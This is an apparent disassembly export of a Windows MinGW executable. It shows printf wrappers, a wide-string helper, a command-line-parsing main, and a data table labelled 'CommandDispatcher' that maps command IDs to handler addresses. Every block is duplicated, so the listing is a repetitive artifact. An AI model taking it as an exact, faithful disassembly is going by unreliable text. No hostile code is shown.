1400230f9sub rsp, 64
1400230fdmov [rsp+96], r8
140023102lea r8, [rsp+88]
140023107mov [rsp+88], rdx
14002310cmov [rsp+104], r9
140023111mov [rsp+56], r8
140023116mov [rsp+40], r8
14002311bcall [rip+7295]
140023121mov r8, [rsp+40]
140023126mov rdx, rbx
140023129mov rcx, rax
14002312ccall __mingw_vfprintf
140023131add rsp, 64
140023135pop rbx
140023136ret
1400230f0
140023137
140023137 // align 0x10
140023137 // align 0x10
140023140
140023140printf:
140023140push rbx
140023141mov rbx, rcx
140023144mov ecx, 1
140023149sub rsp, 64
14002314dmov [rsp+96], r8
140023152lea r8, [rsp+88]
140023157mov [rsp+88], rdx
14002315cmov [rsp+104], r9
140023161mov [rsp+56], r8
140023166mov [rsp+40], r8
14002316bcall [rip+7215]
140023171mov r8, [rsp+40]
140023176mov rdx, rbx
140023179mov rcx, rax
14002317ccall __mingw_vfprintf
140023181add rsp, 64
140023185pop rbx
140023186ret
140023140
140023140printf:
140023140push rbx
140023141mov rbx, rcx
140023144mov ecx, 1
140023149sub rsp, 64
14002314dmov [rsp+96], r8
140023152lea r8, [rsp+88]
140023157mov [rsp+88], rdx
14002315cmov [rsp+104], r9
140023161mov [rsp+56], r8
140023166mov [rsp+40], r8
14002316bcall [rip+7215]
140023171mov r8, [rsp+40]
140023176mov rdx, rbx
140023179mov rcx, rax
14002317ccall __mingw_vfprintf
140023181add rsp, 64
140023185pop rbx
140023186ret
140023140
140023187
140023187 // align 0x10
140023187 // align 0x10
140023190
140023190printf:
140023190push rbx
140023191mov rbx, rcx
140023194mov ecx, 1
140023199sub rsp, 64
14002319dmov [rsp+96], r8
1400231a2lea r8, [rsp+88]
1400231a7mov [rsp+88], rdx
1400231acmov [rsp+104], r9
1400231b1mov [rsp+56], r8
1400231b6mov [rsp+40], r8
1400231bbcall [rip+7135]
1400231c1mov r8, [rsp+40]
1400231c6mov rdx, rbx
1400231c9mov rcx, rax
1400231cccall __mingw_vfprintf
1400231d1add rsp, 64
1400231d5pop rbx
1400231d6ret
140023190
140023190printf:
140023190push rbx
140023191mov rbx, rcx
140023194mov ecx, 1
140023199sub rsp, 64
14002319dmov [rsp+96], r8
1400231a2lea r8, [rsp+88]
1400231a7mov [rsp+88], rdx
1400231acmov [rsp+104], r9
1400231b1mov [rsp+56], r8
1400231b6mov [rsp+40], r8
1400231bbcall [rip+7135]
1400231c1mov r8, [rsp+40]
1400231c6mov rdx, rbx
1400231c9mov rcx, rax
1400231cccall __mingw_vfprintf
1400231d1add rsp, 64
1400231d5pop rbx
1400231d6ret
140023190
1400231d7
1400231d7 // align 0x10
1400231d7 // align 0x10
1400231e0
1400231e0printf:
1400231e0push rbx
1400231e1mov rbx, rcx
1400231e4mov ecx, 1
1400231e9sub rsp, 64
1400231edmov [rsp+96], r8
1400231f2lea r8, [rsp+88]
1400231f7mov [rsp+88], rdx
1400231fcmov [rsp+104], r9
140023201mov [rsp+56], r8
140023206mov [rsp+40], r8
14002320bcall [rip+7055]
140023211mov r8, [rsp+40]
140023216mov rdx, rbx
140023219mov rcx, rax
14002321ccall __mingw_vfprintf
140023221add rsp, 64
140023225pop rbx
140023226ret
1400231e0
1400231e0printf:
1400231e0push rbx
1400231e1mov rbx, rcx
1400231e4mov ecx, 1
1400231e9sub rsp, 64
1400231edmov [rsp+96], r8
1400231f2lea r8, [rsp+88]
1400231f7mov [rsp+88], rdx
1400231fcmov [rsp+104], r9
140023201mov [rsp+56], r8
140023206mov [rsp+40], r8
14002320bcall [rip+7055]
140023211mov r8, [rsp+40]
140023216mov rdx, rbx
140023219mov rcx, rax
14002321ccall __mingw_vfprintf
140023221add rsp, 64
140023225pop rbx
140023226ret
1400231e0
140023227
140023227 // align 0x10
140023227 // align 0x10
140023230
140023230printf.constprop.0:
140023230sub rsp, 72
140023234mov ecx, 1
140023239mov [rsp+96], r8
14002323elea r8, [rsp+88]
140023243mov [rsp+88], rdx
140023248mov [rsp+104], r9
14002324dmov [rsp+56], r8
140023252mov [rsp+40], r8
140023257call [rip+6979]
14002325dmov r8, [rsp+40]
140023262lea rdx, [rip+22055]
140023269mov rcx, rax
14002326ccall __mingw_vfprintf
140023271add rsp, 72
140023275ret
140023230
140023230printf.constprop.0:
140023230sub rsp, 72
140023234mov ecx, 1
140023239mov [rsp+96], r8
14002323elea r8, [rsp+88]
140023243mov [rsp+88], rdx
140023248mov [rsp+104], r9
14002324dmov [rsp+56], r8
140023252mov [rsp+40], r8
140023257call [rip+6979]
14002325dmov r8, [rsp+40]
140023262lea rdx, [rip+22055]
140023269mov rcx, rax
14002326ccall __mingw_vfprintf
140023271add rsp, 72
140023275ret
140023230
140023276
140023276 // align 0x10
140023276 // align 0x10
140023280
140023280printf.constprop.0:
140023280sub rsp, 72
140023284mov ecx, 1
140023289mov [rsp+96], r8
14002328elea r8, [rsp+88]
140023293mov [rsp+88], rdx
140023298mov [rsp+104], r9
14002329dmov [rsp+56], r8
1400232a2mov [rsp+40], r8
1400232a7call [rip+6899]
1400232admov r8, [rsp+40]
1400232b2lea rdx, [rip+24231]
1400232b9mov rcx, rax
1400232bccall __mingw_vfprintf
1400232c1add rsp, 72
1400232c5ret
140023280
140023280printf.constprop.0:
140023280sub rsp, 72
140023284mov ecx, 1
140023289mov [rsp+96], r8
14002328elea r8, [rsp+88]
140023293mov [rsp+88], rdx
140023298mov [rsp+104], r9
14002329dmov [rsp+56], r8
1400232a2mov [rsp+40], r8
1400232a7call [rip+6899]
1400232admov r8, [rsp+40]
1400232b2lea rdx, [rip+24231]
1400232b9mov rcx, rax
1400232bccall __mingw_vfprintf
1400232c1add rsp, 72
1400232c5ret
140023280
1400232c6
1400232c6 // align 0x10
1400232c6 // align 0x10
1400232d0
1400232d0printf.constprop.0:
1400232d0sub rsp, 72
1400232d4mov ecx, 1
1400232d9mov [rsp+96], r8
1400232delea r8, [rsp+88]
1400232e3mov [rsp+88], rdx
1400232e8mov [rsp+104], r9
1400232edmov [rsp+56], r8
1400232f2mov [rsp+40], r8
1400232f7call [rip+6819]
1400232fdmov r8, [rsp+40]
140023302lea rdx, [rip+27447]
140023309mov rcx, rax
14002330ccall __mingw_vfprintf
140023311add rsp, 72
140023315ret
1400232d0
1400232d0printf.constprop.0:
1400232d0sub rsp, 72
1400232d4mov ecx, 1
1400232d9mov [rsp+96], r8
1400232delea r8, [rsp+88]
1400232e3mov [rsp+88], rdx
1400232e8mov [rsp+104], r9
1400232edmov [rsp+56], r8
1400232f2mov [rsp+40], r8
1400232f7call [rip+6819]
1400232fdmov r8, [rsp+40]
140023302lea rdx, [rip+27447]
140023309mov rcx, rax
14002330ccall __mingw_vfprintf
140023311add rsp, 72
140023315ret
1400232d0
140023316
140023316 // align 0x10
140023316 // align 0x10
140023320
140023320printf.constprop.0:
140023320sub rsp, 72
140023324mov ecx, 1
140023329mov [rsp+96], r8
14002332elea r8, [rsp+88]
140023333mov [rsp+88], rdx
140023338mov [rsp+104], r9
14002333dmov [rsp+56], r8
140023342mov [rsp+40], r8
140023347call [rip+6739]
14002334dmov r8, [rsp+40]
140023352lea rdx, [rip+32455]
140023359mov rcx, rax
14002335ccall __mingw_vfprintf
140023361add rsp, 72
140023365ret
140023320
140023320printf.constprop.0:
140023320sub rsp, 72
140023324mov ecx, 1
140023329mov [rsp+96], r8
14002332elea r8, [rsp+88]
140023333mov [rsp+88], rdx
140023338mov [rsp+104], r9
14002333dmov [rsp+56], r8
140023342mov [rsp+40], r8
140023347call [rip+6739]
14002334dmov r8, [rsp+40]
140023352lea rdx, [rip+32455]
140023359mov rcx, rax
14002335ccall __mingw_vfprintf
140023361add rsp, 72
140023365ret
140023320
140023366
140023366 // align 0x10
140023366 // align 0x10
140023370
140023370printf.constprop.0:
140023370sub rsp, 72
140023374mov ecx, 1
140023379mov [rsp+96], r8
14002337elea r8, [rsp+88]
140023383mov [rsp+88], rdx
140023388mov [rsp+104], r9
14002338dmov [rsp+56], r8
140023392mov [rsp+40], r8
140023397call [rip+6659]
14002339dmov r8, [rsp+40]
1400233a2lea rdx, [rip+34935]
1400233a9mov rcx, rax
1400233accall __mingw_vfprintf
1400233b1add rsp, 72
1400233b5ret
140023370
140023370printf.constprop.0:
140023370sub rsp, 72
140023374mov ecx, 1
140023379mov [rsp+96], r8
14002337elea r8, [rsp+88]
140023383mov [rsp+88], rdx
140023388mov [rsp+104], r9
14002338dmov [rsp+56], r8
140023392mov [rsp+40], r8
140023397call [rip+6659]
14002339dmov r8, [rsp+40]
1400233a2lea rdx, [rip+34935]
1400233a9mov rcx, rax
1400233accall __mingw_vfprintf
1400233b1add rsp, 72
1400233b5ret
140023370
1400233b6
1400233b6 // align 0x10
1400233b6 // align 0x10
1400233c5
1400233c5 // align 0x10
1400233c5 // align 0x10
1400233d0
1400233d0toWideChar:
1400233d0mov rax, rcx
1400233d3sub rsp, 40
1400233d7mov rcx, rdx
1400233damovsxd r8, r8l
1400233ddmov rdx, rax
1400233e0call CharStringToWCharString
1400233e5test rax, rax
1400233e8setne al
1400233ebadd rsp, 40
1400233efmovzx eax, al
1400233f2ret
1400233d0
1400233d0toWideChar:
1400233d0mov rax, rcx
1400233d3sub rsp, 40
1400233d7mov rcx, rdx
1400233damovsxd r8, r8l
1400233ddmov rdx, rax
1400233e0call CharStringToWCharString
1400233e5test rax, rax
1400233e8setne al
1400233ebadd rsp, 40
1400233efmovzx eax, al
1400233f2ret
1400233d0
1400233f3
1400233f3 // align 0x10
1400233f3 // align 0x10
140023400
140023400main:
140023400push rdi
140023401push rsi
140023402push rbx
140023403sub rsp, 144
14002340axor esi, esi
14002340ccall __main
140023411call __p__acmdln
140023416mov rbx, [rax]
140023419test rbx, rbx
14002341cjne 0x14002344b
14002341ejmp 0x1400234c1
140023423
140023423 0f 1f 44 00 00 ..D..
140023428
140023428loc_140023428:
140023428test cl, cl
14002342aje 0x140023478
14002342cand esi, 1
14002342fje 0x140023460
140023431mov esi, 1
140023436
140023436loc_140023436:
140023436call _ismbblead
14002343btest eax, eax
14002343dje 0x140023447
14002343fcmp [rbx+1], 1
140023443sbb rbx, -1
140023447
140023447loc_140023447:
140023447add rbx, 1
14002344b
14002344bloc_14002344b:
14002344bmovsx ecx, [rbx]
14002344ecmp cl, 32
140023451jle 0x140023428
140023453mov eax, esi
140023455xor eax, 1
140023458cmp cl, 34
14002345bcmove esi, eax
14002345ejmp 0x140023436
140023460
140023460loc_140023460:
140023460test cl, cl
140023462je 0x140023478
140023464nop [rax]
140023468
140023468loc_140023468:
140023468movzx eax, [rbx+1]
14002346cadd rbx, 1
140023470test al, al
140023472je 0x140023478
140023474cmp al, 32
140023476jle 0x140023468
140023478
140023478loc_140023478:
140023478lea rdx, [rsp+32]
14002347dxor eax, eax
14002347fmov ecx, 13
140023484mov rdi, rdx
140023487rep stosq [rdi], rax
14002348amov rcx, rdx
14002348dcall [rip+56677]
140023493mov r9l, 10
140023499test [rsp+92], 1
14002349eje 0x1400234a6
1400234a0movzx r9l, [rsp+96]
1400234a6
1400234a6loc_1400234a6:
1400234a6mov rcx, [rip+36675]
1400234admov r8, rbx
1400234b0xor edx, edx
1400234b2add rsp, 144
1400234b9pop rbx
1400234bapop rsi
1400234bbpop rdi
1400234bcjmp 0x1400222c0
1400234c1
1400234c1loc_1400234c1:
1400234c1lea rbx, [rip+34744]
1400234c8jmp 0x140023478
140023400
140023400main:
140023400push rdi
140023401push rsi
140023402push rbx
140023403sub rsp, 144
14002340axor esi, esi
14002340ccall __main
140023411call __p__acmdln
140023416mov rbx, [rax]
140023419test rbx, rbx
14002341cjne 0x14002344b
14002341ejmp 0x1400234c1
140023423
140023423 0f 1f 44 00 00 ..D..
140023428
140023428loc_140023428:
140023428test cl, cl
14002342aje 0x140023478
14002342cand esi, 1
14002342fje 0x140023460
140023431mov esi, 1
140023436
140023436loc_140023436:
140023436call _ismbblead
14002343btest eax, eax
14002343dje 0x140023447
14002343fcmp [rbx+1], 1
140023443sbb rbx, -1
140023447
140023447loc_140023447:
140023447add rbx, 1
14002344b
14002344bloc_14002344b:
14002344bmovsx ecx, [rbx]
14002344ecmp cl, 32
140023451jle 0x140023428
140023453mov eax, esi
140023455xor eax, 1
140023458cmp cl, 34
14002345bcmove esi, eax
14002345ejmp 0x140023436
140023460
140023460loc_140023460:
140023460test cl, cl
140023462je 0x140023478
140023464nop [rax]
140023468
140023468loc_140023468:
140023468movzx eax, [rbx+1]
14002346cadd rbx, 1
140023470test al, al
140023472je 0x140023478
140023474cmp al, 32
140023476jle 0x140023468
140023478
140023478loc_140023478:
140023478lea rdx, [rsp+32]
14002347dxor eax, eax
14002347fmov ecx, 13
140023484mov rdi, rdx
140023487rep stosq [rdi], rax
14002348amov rcx, rdx
14002348dcall [rip+56677]
140023493mov r9l, 10
140023499test [rsp+92], 1
14002349eje 0x1400234a6
1400234a0movzx r9l, [rsp+96]
1400234a6
1400234a6loc_1400234a6:
1400234a6mov rcx, [rip+36675]
1400234admov r8, rbx
1400234b0xor edx, edx
1400234b2add rsp, 144
1400234b9pop rbx
1400234bapop rsi
1400234bbpop rdi
1400234bcjmp 0x1400222c0
1400234c1
1400234c1loc_1400234c1:
1400234c1lea rbx, [rip+34744]
1400234c8jmp 0x140023478
140023400
1400234ca
1400234ca // align 0x10
1400234ca // align 0x10
1400234d5
1400234d5 // align 0x10
1400234e0
1400234e0 ff ff ff ff ff ff ff ff ........
1400234d5 // align 0x10
1400234e0
1400234e0 ff ff ff ff ff ff ff ff ........
1400234e8
1400234e8fn_1400234e8:
1400234e8sal [rdx+rax], 1
1400234ebadd [rax], eax
1400234eeadd [rax], al
1400234f0add [rax], al
1400234f2add [rax], al
1400234f4add [rax], al
1400234f6add [rax], al
1400234e8
1400234e8fn_1400234e8:
1400234e8sal [rdx+rax], 1
1400234ebadd [rax], eax
1400234eeadd [rax], al
1400234f0add [rax], al
1400234f2add [rax], al
1400234f4add [rax], al
1400234f6add [rax], al
1400234e8
1400234f8
1400234f8 ff ff ff ff ff ff ff ff ........
1400234f8 ff ff ff ff ff ff ff ff ........
140023500
140023500fn_140023500:
140023500add [rax], al
140023502add [rax], al
140023504add [rax], al
140023506add [rax], al
140023500
140023500fn_140023500:
140023500add [rax], al
140023502add [rax], al
140023504add [rax], al
140023506add [rax], al
140023500
140024000
140024000 uint8_t g_140024000 ← CommandDispatcher
140024000 0b 00 00 00 00 00 00 00 40 e0 00 40 01 00 00 00 ........@..@....
140024010 64 00 00 00 00 00 00 00 c0 a1 00 40 01 00 00 00 d..........@....
140024020 15 00 00 00 00 00 00 00 e0 be 00 40 01 00 00 00 ...........@....
140024030 10 10 00 00 00 00 00 00 40 d3 00 40 01 00 00 00 ........@..@....
140024040 0c 00 00 00 00 00 00 00 c0 dc 00 40 01 00 00 00 ...........@....
140024050 0f 00 00 00 00 00 00 00 e0 ac 00 40 01 00 00 00 ...........@....
140024060 14 00 00 00 00 00 00 00 50 bd 00 40 01 00 00 00 ........P..@....
140024070 01 20 00 00 00 00 00 00 50 9c 00 40 01 00 00 00 . ......P..@....
140024080 03 20 00 00 00 00 00 00 b0 9f 00 40 01 00 00 00 . .........@....
140024090 c4 09 00 00 00 00 00 00 10 a2 00 40 01 00 00 00 ...........@....
1400240a0 ce 09 00 00 00 00 00 00 70 df 00 40 01 00 00 00 ........p..@....
1400240b0 d8 09 00 00 00 00 00 00 80 cf 00 40 01 00 00 00 ...........@....
1400240c0 34 08 00 00 00 00 00 00 40 c6 00 40 01 00 00 00 4.......@..@....
1400240d0 16 00 00 00 00 00 00 00 40 b8 00 40 01 00 00 00 ........@..@....
1400240e0 18 00 00 00 00 00 00 00 10 ba 00 40 01 00 00 00 ...........@....
1400240f0 1a 00 00 00 00 00 00 00 50 e7 00 40 01 00 00 00 ........P..@....
140024100 28 00 00 00 00 00 00 00 10 e8 00 40 01 00 00 00 (..........@....
140024110 e2 09 00 00 00 00 00 00 d0 f1 00 40 01 00 00 00 ...........@....
140024120 ec 09 00 00 00 00 00 00 e0 e0 00 40 01 00 00 00 ...........@....
140024130 f6 09 00 00 00 00 00 00 c0 c0 00 40 01 00 00 00 ...........@....
140024140 00 0a 00 00 00 00 00 00 90 c5 00 40 01 00 00 00 ...........@....
140024150 5c 00 00 00 00 00 00 00 10 aa 00 40 01 00 00 00 \..........@....
140024160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
140024170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
140024000 uint8_t g_140024000 ← CommandDispatcher
140024000 0b 00 00 00 00 00 00 00 40 e0 00 40 01 00 00 00 ........@..@....
140024010 64 00 00 00 00 00 00 00 c0 a1 00 40 01 00 00 00 d..........@....
140024020 15 00 00 00 00 00 00 00 e0 be 00 40 01 00 00 00 ...........@....
140024030 10 10 00 00 00 00 00 00 40 d3 00 40 01 00 00 00 ........@..@....
140024040 0c 00 00 00 00 00 00 00 c0 dc 00 40 01 00 00 00 ...........@....
140024050 0f 00 00 00 00 00 00 00 e0 ac 00 40 01 00 00 00 ...........@....
140024060 14 00 00 00 00 00 00 00 50 bd 00 40 01 00 00 00 ........P..@....
140024070 01 20 00 00 00 00 00 00 50 9c 00 40 01 00 00 00 . ......P..@....
140024080 03 20 00 00 00 00 00 00 b0 9f 00 40 01 00 00 00 . .........@....
140024090 c4 09 00 00 00 00 00 00 10 a2 00 40 01 00 00 00 ...........@....
1400240a0 ce 09 00 00 00 00 00 00 70 df 00 40 01 00 00 00 ........p..@....
1400240b0 d8 09 00 00 00 00 00 00 80 cf 00 40 01 00 00 00 ...........@....
1400240c0 34 08 00 00 00 00 00 00 40 c6 00 40 01 00 00 00 4.......@..@....
1400240d0 16 00 00 00 00 00 00 00 40 b8 00 40 01 00 00 00 ........@..@....
1400240e0 18 00 00 00 00 00 00 00 10 ba 00 40 01 00 00 00 ...........@....
1400240f0 1a 00 00 00 00 00 00 00 50 e7 00 40 01 00 00 00 ........P..@....
140024100 28 00 00 00 00 00 00 00 10 e8 00 40 01 00 00 00 (..........@....
140024110 e2 09 00 00 00 00 00 00 d0 f1 00 40 01 00 00 00 ...........@....
140024120 ec 09 00 00 00 00 00 00 e0 e0 00 40 01 00 00 00 ...........@....
140024130 f6 09 00 00 00 00 00 00 c0 c0 00 40 01 00 00 00 ...........@....
140024140 00 0a 00 00 00 00 00 00 90 c5 00 40 01 00 00 00 ...........@....
140024150 5c 00 00 00 00 00 00 00 10 aa 00 40 01 00 00 00 \..........@....
140024160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
140024170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Loading..